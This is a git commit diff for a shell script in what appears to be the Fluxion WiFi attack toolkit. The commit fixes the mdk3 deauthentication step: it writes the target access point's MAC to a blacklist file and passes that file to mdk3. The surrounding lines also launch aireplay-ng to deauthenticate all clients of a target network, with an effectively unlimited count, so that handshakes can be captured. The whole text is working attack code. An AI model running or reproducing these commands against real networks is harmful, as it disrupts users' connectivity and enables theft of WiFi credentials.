Fixed an issue with the mdk3 deauthenticator.
This commit is contained in:
parent
272b02d0a3
commit
b4d1643b79
|
@ -64,12 +64,18 @@ function handshake_stop_deauthenticator() {
|
||||||
function handshake_start_deauthenticator() {
|
function handshake_start_deauthenticator() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
||||||
|
|
||||||
|
# Prepare deauthenticators
|
||||||
|
case "$HANDSHAKEMethod" in
|
||||||
|
"mdk3"*) echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
|
||||||
|
esac
|
||||||
|
|
||||||
|
# Start deauthenticators.
|
||||||
case "$HANDSHAKEMethod" in
|
case "$HANDSHAKEMethod" in
|
||||||
"aireplay-ng"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
"aireplay-ng"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||||
aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
|
aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
|
||||||
HANDSHAKEDeauthenticatorPID=$!;;
|
HANDSHAKEDeauthenticatorPID=$!;;
|
||||||
"mdk3"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
"mdk3"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||||
mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3.txt -c $APTargetChannel &
|
mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel &
|
||||||
HANDSHAKEDeauthenticatorPID=$!;;
|
HANDSHAKEDeauthenticatorPID=$!;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue